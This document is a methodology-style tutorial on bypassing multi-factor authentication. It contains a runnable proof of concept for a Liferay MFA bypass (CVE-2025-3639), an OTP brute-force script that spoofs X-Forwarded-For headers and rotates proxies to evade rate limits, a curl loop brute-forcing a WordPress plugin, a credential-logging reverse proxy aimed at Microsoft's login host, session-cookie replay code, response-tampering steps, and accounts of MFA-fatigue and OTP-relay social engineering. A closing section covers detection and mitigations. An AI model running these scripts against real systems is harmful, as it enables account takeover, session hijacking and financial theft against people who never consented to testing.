- Understanding MFA/2FA Attack Surfaces
- Required Tools and Setup
- Exploitation Methodology 1: HTTP Method Manipulation
- Exploitation Methodology 2: Rate Limiting and Brute Force
- Exploitation Methodology 3: Session and Path Bypass
- Exploitation Methodology 4: Adversary-in-the-Middle (AiTM) Attacks
- Exploitation Methodology 5: Response Manipulation
- Exploitation Methodology 6: Social Engineering and Phishing
- Automated Testing with Selenium and Burp Suite
- Detection and Mitigation
Before diving into exploitation, it is critical to understand that MFA can be implemented in various ways :
| Factor Type | Examples | Common Weaknesses |
|---|---|---|
| Something You Know | Passwords, PINs | Phishing, reuse, breaches |
| Something You Have | TOTP apps, SMS, hardware tokens | SIM swapping, proxy attacks, theft |
| Something You Are | Biometrics | Spoofing, database breaches |
| Location | IP ranges, geolocation | Header spoofing, VPNs |
Most web applications use Time-based One-Time Passwords (TOTP) delivered via authenticator apps, SMS, or email. Each method has distinct attack vectors .
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting proxy, Intruder for brute force, Repeater for manual testing |
| Python 3 | Custom exploit scripts |
| Selenium | Browser automation for testing |
| Wireshark | Network traffic analysis |
| Mailosaur | Automated OTP capture from SMS/email |
| Stepper | Burp Suite extension for session management with MFA |
When testing applications with MFA, Burp Suite's recorded login sequences have specific limitations :
- Compatible with TOTP MFA and WebAuthn
- Not compatible with CAPTCHA (by design)
- May trigger anti-robot measures on repeated logins
Best practices for recording MFA logins in Burp Suite :
- Wait for pages and elements to load completely before performing actions
- Use mouse clicks rather than keyboard shortcuts for all interactions
- Configure the status checker with a URL that reliably shows authenticated state
- Select confirmation text that only appears when logged in (e.g., "Welcome back, username")
This technique exploits improper HTTP method validation on authentication endpoints. When an application expects POST requests for login but accepts GET requests, the MFA verification step may be completely bypassed .
Vulnerability Details: An unauthenticated user with valid credentials can bypass MFA by converting a POST request to a GET request .
Affected Versions:
- Liferay Portal 7.3.0 through 7.4.3.132
- Liferay DXP 2024.Q1.1 through 2025.Q1.6
Step 1: Capture the Login Request
Intercept the normal login POST request using Burp Suite:
POST /login HTTP/1.1
Host: target.liferay.com
Content-Type: application/x-www-form-urlencoded
username=test@example.com&password=Test123!&mfa_code=123456
Step 2: Modify the HTTP Method
Change the POST method to GET and remove the MFA code parameter:
GET /login?username=test@example.com&password=Test123! HTTP/1.1
Host: target.liferay.com
Step 3: Send the Request
If successful, the server returns a valid session token without requiring the MFA code.
#!/usr/bin/env python3
# CVE-2025-3639 PoC - Liferay MFA Bypass via HTTP Method Conversion
# For educational and authorized testing only
import requests
import sys
import argparse
def exploit_mfa_bypass(target_url, username, password):
"""
Exploits CVE-2025-3639 to bypass MFA by converting POST to GET
"""
# Construct the GET request with credentials in URL parameters
login_endpoint = f"{target_url}/login"
params = {
"username": username,
"password": password
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
}
try:
# Send GET request instead of POST
response = requests.get(login_endpoint, params=params, headers=headers, allow_redirects=False)
# Check for successful authentication
if response.status_code == 302 and "Set-Cookie" in response.headers:
print(f"[+] SUCCESS: MFA bypassed!")
print(f"[+] Session cookie: {response.headers.get('Set-Cookie', 'Not found')}")
return response.cookies
elif response.status_code == 200 and "dashboard" in response.text.lower():
print(f"[+] SUCCESS: Logged in without MFA")
return response.cookies
else:
print(f"[-] Failed to bypass MFA. Status code: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def verify_session(target_url, session_cookies):
"""Verify that the session has authenticated access"""
profile_endpoint = f"{target_url}/api/jsonws/user/get-current-user"
response = requests.get(profile_endpoint, cookies=session_cookies)
if response.status_code == 200:
print(f"[+] Verified: Authenticated access to user data")
print(f"[+] Response: {response.text[:200]}")
else:
print(f"[-] Session verification failed")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 MFA Bypass PoC")
parser.add_argument("--target", required=True, help="Target URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
print("[*] Attempting MFA bypass via HTTP method conversion")
print(f"[*] Target: {args.target}")
print(f"[*] Username: {args.username}")
session = exploit_mfa_bypass(args.target, args.username, args.password)
if session:
verify_session(args.target, session)
else:
print("[!] Target may not be vulnerable or MFA is properly enforced")- Navigate to the login page with Burp proxy enabled
- Submit valid credentials without the MFA code
- Send the POST request to Repeater (Ctrl+R)
- Change the request method from POST to GET
- Move credentials from body to URL parameters if needed
- Send the request and examine the response
Indicators of vulnerability:
- HTTP 302 redirect to authenticated area
- Session cookie set in response
- Direct access to /dashboard or /profile endpoints
- Implement strict HTTP method validation on authentication endpoints
- Reject GET requests for login operations
- Apply patches: Liferay Portal 7.4.3.133+, DXP update 93+
When MFA endpoints lack rate limiting, attackers can brute-force OTP codes. Six-digit numeric codes have only 1,000,000 possibilities, making them vulnerable to automated attacks .
According to OWASP, the success rate for brute-forcing TOTP codes depends on how many codes are accepted :
| Valid Codes Accepted | Success after 1 hour | Success after 24 hours |
|---|---|---|
| 1 (current only) | 4% | 58% |
| 3 (previous, current, next) | 10% | 92% |
| 5 codes | 16% | 99% |
Step 1: Capture the OTP Verification Request
POST /api/verify-2fa HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"otp_code": "000000", "user_id": "12345"}
Step 2: Configure Burp Intruder
- Send the request to Intruder (Ctrl+I)
- Clear default payload positions
- Highlight the OTP value (000000) and click "Add §"
- Go to Payloads tab
- Select payload type: "Numbers"
- Configure: From 0, To 999999, Step 1, Format: 06 digits
Step 3: Configure Attack Settings
- Resource pool: Set "Maximum concurrent requests" to 1 (avoid lockouts)
- Attack options: Add delay between requests (500-1000ms)
Step 4: Look for Success Indicators
Monitor responses for:
- Status code change (302 vs 401)
- Response length difference
- Different JSON response ({"success": true})
- Redirect to authenticated endpoint
#!/usr/bin/env python3
# OTP Brute Force Script with Rate Limiting Bypass Techniques
import requests
import time
import threading
from queue import Queue
import itertools
class OTPScanner:
def __init__(self, target_url, session_cookie, user_id):
self.target_url = target_url
self.session = requests.Session()
self.session.cookies.set("session", session_cookie)
self.user_id = user_id
self.results = Queue()
def try_otp(self, otp_code):
"""Attempt a single OTP code"""
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
payload = {
"otp_code": f"{otp_code:06d}",
"user_id": self.user_id
}
try:
response = self.session.post(
f"{self.target_url}/api/verify-2fa",
json=payload,
headers=headers,
timeout=5
)
# Check for successful authentication
if response.status_code == 302:
return True, otp_code
if response.status_code == 200 and "success" in response.text.lower():
if "true" in response.text.lower():
return True, otp_code
return False, None
except Exception as e:
print(f"[-] Error testing OTP {otp_code:06d}: {e}")
return False, None
def brute_force_range(self, start, end, rate_limit_delay=1):
"""Brute force a range of OTP codes with delay"""
for otp in range(start, end):
success, code = self.try_otp(otp)
if success:
print(f"\n[+] VALID OTP FOUND: {code:06d}")
self.results.put(code)
return True
if otp % 100 == 0:
print(f"[*] Attempted {otp} codes...")
time.sleep(rate_limit_delay) # Respect rate limits
return False
def ip_rotation_attack(self, proxy_list, otp_range=(0, 10000)):
"""Bypass IP-based rate limiting by rotating proxies"""
for proxy in proxy_list:
self.session.proxies = {
"http": proxy,
"https": proxy
}
print(f"[*] Trying with proxy: {proxy}")
success = self.brute_force_range(otp_range[0], otp_range[1], rate_limit_delay=0.5)
if success:
return True
return False
def x_forwarded_for_bypass(self, otp_code):
"""Bypass rate limiting using X-Forwarded-For header"""
# Generate random IP addresses for each attempt
import random
random_ip = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,255)}"
headers = {
"X-Forwarded-For": random_ip,
"X-Real-IP": random_ip,
"Client-IP": random_ip
}
payload = {"otp_code": f"{otp_code:06d}", "user_id": self.user_id}
response = self.session.post(
f"{self.target_url}/api/verify-2fa",
json=payload,
headers=headers
)
return response
# Example usage
if __name__ == "__main__":
scanner = OTPScanner("https://target.com", "session_cookie_value", "user_123")
# Test single OTP
scanner.try_otp(123456)
# Brute force range 000000-009999
scanner.brute_force_range(0, 10000, rate_limit_delay=0.5)The Digits plugin for WordPress (versions prior to 8.4.6.1) was vulnerable to OTP brute-force attacks due to missing rate limiting . Attackers could bypass authentication by iterating over possible OTP values using the following approach:
# Using curl in a loop
for otp in {0000..9999}; do
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "login_digt_countrycode=+" \
-d "digits_phone=000000000" \
-d "sms_otp=$otp" \
-d "action=digits_forms_ajax" \
-d "type=forgot" | grep -q "success" && echo "OTP FOUND: $otp"
doneWhen MFA verification is only enforced on specific pages but not on subsequent authenticated endpoints, attackers can bypass the verification step entirely by directly accessing protected resources.
Step 1: Map the Authentication Flow
Identify the sequence of endpoints in the authentication process:
/login (username/password)
↓
/mfa-verify (OTP code entry)
↓
/dashboard (authenticated area)
Step 2: Attempt Direct Access
After submitting credentials but before entering MFA code, try to access authenticated endpoints directly:
# After initial login, capture the session cookie
# Then attempt to access protected endpoints without MFA
curl -X GET https://target.com/dashboard \
-H "Cookie: session=abc123" \
-H "User-Agent: Mozilla/5.0"Step 3: Test API Endpoints
API endpoints often have weaker MFA enforcement:
# Test API access without MFA
curl -X GET https://target.com/api/user/profile \
-H "Authorization: Bearer abc123" \
-H "X-User-ID: 12345"During testing of a cryptocurrency P2P platform with over 2 million users, researchers discovered that 2FA was enforced only on the frontend - the backend never verified the OTP.
Attack Chain:
- Attacker logged in with compromised credentials
- Instead of entering MFA code, directly accessed payment method management endpoint
- Backend accepted the request without verifying MFA completion
- Attacker added their own bank details to victim's account
- Created sell orders from victim account
- Funds were transferred to attacker's bank account
Python script to test for this vulnerability:
def test_mfa_path_bypass(base_url, session_cookie):
"""
Test if authenticated endpoints can be accessed without completing MFA
"""
endpoints_to_test = [
"/dashboard",
"/api/user/profile",
"/account/settings",
"/api/transactions",
"/payment-methods/add",
"/withdraw"
]
headers = {
"Cookie": f"session={session_cookie}",
"X-Requested-With": "XMLHttpRequest"
}
for endpoint in endpoints_to_test:
response = requests.get(f"{base_url}{endpoint}", headers=headers)
if response.status_code == 200:
print(f"[!] VULNERABLE: {endpoint} accessible without MFA")
# Check if sensitive data is exposed
if "balance" in response.text or "email" in response.text:
print(f"[CRITICAL] Sensitive data exposed at {endpoint}")
elif response.status_code == 302 and "mfa" in response.headers.get("Location", ""):
print(f"[SECURE] {endpoint} correctly redirects to MFA")
else:
print(f"[INFO] {endpoint} returned {response.status_code}")According to OWASP, when applications support both local and federated logins, MFA bypass may be possible if there is no strong separation between account types .
Test procedure:
- Register a local account with MFA enabled
- Link the same email to a federated provider (Google, Microsoft) without MFA
- Attempt to authenticate using the federated provider
- Check if MFA is still enforced
Burp Suite testing for OAuth flows:
# Intercept the OIDC authentication request
GET /auth/oauth2/login?provider=google&redirect_uri=/dashboard HTTP/1.1
# Attempt to tamper with the authentication flow parameter
GET /auth/oauth2/login?provider=google&flow=B2C_1_SignInWithoutMFA&redirect_uri=/dashboard HTTP/1.1
AiTM attacks use a reverse proxy positioned between the victim and the legitimate service. The proxy captures credentials, MFA codes, and session tokens in real-time .
Tycoon 2FA was a Phishing-as-a-Service (PhaaS) platform that operated from August 2023 until its takedown in early 2026. At its peak, it accounted for approximately 62% of all phishing attempts blocked by Microsoft .
Platform Capabilities:
- Cost: ~$120 USD per month via Telegram channels
- Target: Microsoft 365 and Gmail accounts
- Technique: Synchronous reverse proxy with real-time credential forwarding
- Scale: Tens of millions of fraudulent emails, tens of thousands of confirmed victims
Victim → Phishing Site (Proxy) → Legitimate Service (Microsoft/Google)
↓ ↓
Harvested Credentials Real-time MFA Relay
↓ ↓
Session Cookie Capture Authentication Success
Step 1: Set Up a Test Proxy
Using tools like mitmproxy or custom Node.js proxy:
// Simple proxy server for testing (educational use only)
const http = require('http');
const https = require('https');
const proxy = http.createServer((clientReq, clientRes) => {
console.log(`[${new Date().toISOString()}] ${clientReq.method} ${clientReq.url}`);
// Log all request details
let body = [];
clientReq.on('data', chunk => body.push(chunk));
clientReq.on('end', () => {
body = Buffer.concat(body).toString();
if (body) {
console.log("[REQUEST BODY]", body);
}
});
// Forward to legitimate service
const options = {
hostname: 'login.microsoftonline.com',
path: clientReq.url,
method: clientReq.method,
headers: clientReq.headers
};
const proxyReq = https.request(options, (proxyRes) => {
clientRes.writeHead(proxyRes.statusCode, proxyRes.headers);
proxyRes.pipe(clientRes);
});
clientReq.pipe(proxyReq);
});
proxy.listen(8080, () => {
console.log("Test proxy listening on port 8080");
});Step 2: Detection Indicators
Organizations should monitor for :
- SSL VPN logins originating from hosting provider IP addresses
- OTP challenges followed immediately by successful logins (impossible timing)
- Multiple authentication attempts from geographically distant locations
The Tycoon 2FA platform used sophisticated evasion methods:
1. Invisible Unicode Obfuscation Malicious JavaScript was encoded using specific Unicode characters (Hangul Fillers), making it invisible to human eyes and standard text editors.
2. DOM Vanishing Act JavaScript executed in browser memory and then deleted its own code from the Document Object Model (DOM), leaving the page appearing benign to scanners.
3. Hybrid Operations (Salty-Tycoon) If primary infrastructure was compromised, attacks would pivot to alternate execution chains, providing "seamless failover" for attackers.
Once an AiTM attack captures a session cookie, attackers can replay it to gain access :
def replay_session_cookie(target_url, session_cookie):
"""
Replay a captured session cookie to access the account
"""
headers = {
"Cookie": session_cookie,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
response = requests.get(f"{target_url}/mail", headers=headers)
if response.status_code == 200:
print("[+] Session cookie is valid!")
# Extract sensitive information
if "Inbox" in response.text:
print("[+] Access to email granted")
else:
print("[-] Session cookie expired or invalid")Some applications rely on client-side validation of MFA, where the server sends a success/failure indicator that can be modified by an attacker.
Test procedure with Burp Suite:
- Submit an incorrect OTP code
- Intercept the response from the server
- If the response is a 401 Unauthorized, change it to 200 OK
- Forward the modified response to the browser
- Check if the application grants access based on the modified status code
Example vulnerable response:
{
"mfa_verified": false,
"message": "Invalid code",
"redirect": "/mfa"
}Modified response:
{
"mfa_verified": true,
"message": "Success",
"redirect": "/dashboard"
}To automate response manipulation:
- Go to Proxy → Options → Match and Replace
- Add a new rule:
- Type: Response body
- Match:
"mfa_verified": false - Replace:
"mfa_verified": true - Match condition: Regex (off)
One Identity Safeguard for Privileged Passwords Appliance 7.5.1.20903 was vulnerable to OTP bypass using response manipulation. Attackers who intercepted a valid OTP response could replay it to bypass verification .
Also known as "MFA bombing" or "push spam," this technique involves repeatedly sending MFA push notifications to the victim until they approve out of frustration or confusion.
Attack flow:
- Attacker has victim's credentials
- Attacker initiates login, triggering push notification to victim's authenticator app
- Attacker repeats this 20-30 times in rapid succession
- Victim approves one notification to stop the notifications
- Attacker gains access
SMSRanger and BloodOTPbot are automated bots that :
- Call the victim using social engineering scripts
- Claim to be from IT support or a legitimate service
- Ask the victim to read back the authentication code received via SMS
- Forward the code to the attacker in real-time
Russian hackers bypassed Google's MFA by posing as US Department of State officials .
Attack methodology:
- Attackers contacted targets posing as State Department representatives
- Communications were CC'd to fabricated @state.gov email addresses
- Victims received official-looking documents with instructions to register for an "MS DoS Guest Tenant" account
- Instructions required creating app-specific passwords (16-digit codes that bypass MFA)
- Victims believed they were creating app passwords for a secure government platform
- Instead, they gave attackers full access to their Google accounts
Targets: Prominent academics and critics of Russia Campaign duration: Several months
Testing 2FA workflows can be automated using Selenium combined with a service like Mailosaur to capture OTP codes .
# Python example using Selenium and Mailosaur
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import mailosaur
def test_totp_login():
# Initialize Mailosaur client
client = mailosaur.MailosaurClient("YOUR_API_KEY")
server_id = "YOUR_SERVER_ID"
# Set up Selenium WebDriver
driver = webdriver.Chrome()
try:
# Navigate to login page
driver.get("https://target.com/login")
# Enter username and password
driver.find_element(By.ID, "username").send_keys("test@example.com")
driver.find_element(By.ID, "password").send_keys("Test123!")
driver.find_element(By.ID, "login-btn").click()
# Wait for MFA page
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.ID, "mfa-code"))
)
# Retrieve OTP from SMS/Email using Mailosaur
search_criteria = mailosaur.SearchCriteria()
search_criteria.sent_to = "test-phone-number"
sms = client.messages.get(server_id, search_criteria)
otp_code = sms.text.codes[0].value
# Enter OTP code
driver.find_element(By.ID, "mfa-code").send_keys(otp_code)
driver.find_element(By.ID, "verify-btn").click()
# Verify successful login
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.ID, "dashboard"))
)
print("[+] Test passed: Successfully logged in with 2FA")
finally:
driver.quit()According to security researcher Quentin Oternaud, testing applications with MFA and aggressive CSRF policies can be automated using Stepper and Google Authenticator .
Configuration steps:
- Define steps in Stepper to regenerate tokens and sessions
- Set up MFA code generation using authenticator app
- Create a sequence of requests that refresh sessions automatically
- Pass CSRF headers as variables between steps
Burp Suite supports recorded login sequences for TOTP MFA and WebAuthn :
Configuration best practices:
- Use mouse clicks for all interactions (avoid keyboard shortcuts)
- Wait for pages to load completely before next actions
- End the sequence on an authenticated page without clicking additional links
- Configure status checker with text that only appears for authenticated users
Monitor for these indicators :
| Indicator | Detection Method |
|---|---|
| Multiple OTP attempts | Log analysis for failed verification attempts |
| OTP challenge followed by immediate success | Timing analysis (impossible travel) |
| Login from hosting provider IPs | IP reputation checks |
| GET requests to login endpoints | HTTP method monitoring |
| Same OTP used multiple times | Code reuse detection |
| Unusual X-Forwarded-For headers | Header validation |
For OTP implementations:
- Implement strict rate limiting (5 attempts per 15 minutes)
- Use exponential backoff for failed attempts
- Lock account after 10 failed attempts
- Require re-authentication for sensitive operations
- Invalidate OTP after single use
For session management:
- Invalidate all existing sessions when MFA is enabled
- Bind sessions to multiple factors (IP, user agent, fingerprint)
- Implement short session timeouts for MFA-protected accounts
For API security:
- Validate HTTP methods on all authentication endpoints
- Reject GET requests for authentication operations
- Enforce MFA verification on every authenticated endpoint
For phishing resistance :
- Use hardware security keys (FIDO2/WebAuthn) instead of OTP
- Implement number matching in push notifications
- Educate users to never share OTP codes
- Block known malicious proxy IP ranges
| MFA Method | Security Level | Recommended Controls |
|---|---|---|
| SMS OTP | Low | Avoid entirely |
| Email OTP | Low | Only for low-risk applications |
| TOTP (Authenticator App) | Medium | Rate limiting, single-use codes |
| Push Notification | Medium-High | Number matching, user education |
| Hardware Key (FIDO2) | High | Phishing-resistant, preferred |
| Passkeys | High | Synced across devices, phishing-resistant |
- Hoxhunt - How hackers bypass multi-factor authentication (2026)
- PortSwigger - Best practice for recording login sequences (2026)
- GitHub - CVE-2025-3639 PoC - Liferay Portal/DXP Login Bypass
- Mailosaur - Automating two-factor authentication testing with Selenium (2025)
- Bitdefender - How hackers bypassed MFA with a $120 phishing kit (2026)
- Bridewell - The Rise and Fall of Tycoon 2FA (2026)
- LinkedIn - Automating authenticated scans in Burp Suite for 2FA applications
- Feedly - CVE-2025-3639 / exploit + patch (2025)
- OWASP - Testing Multi-Factor Authentication (WSTG-ATHN-11)
- PCrisk - Akira's MFA Bypass Trick Used On SonicWall VPNs (2025)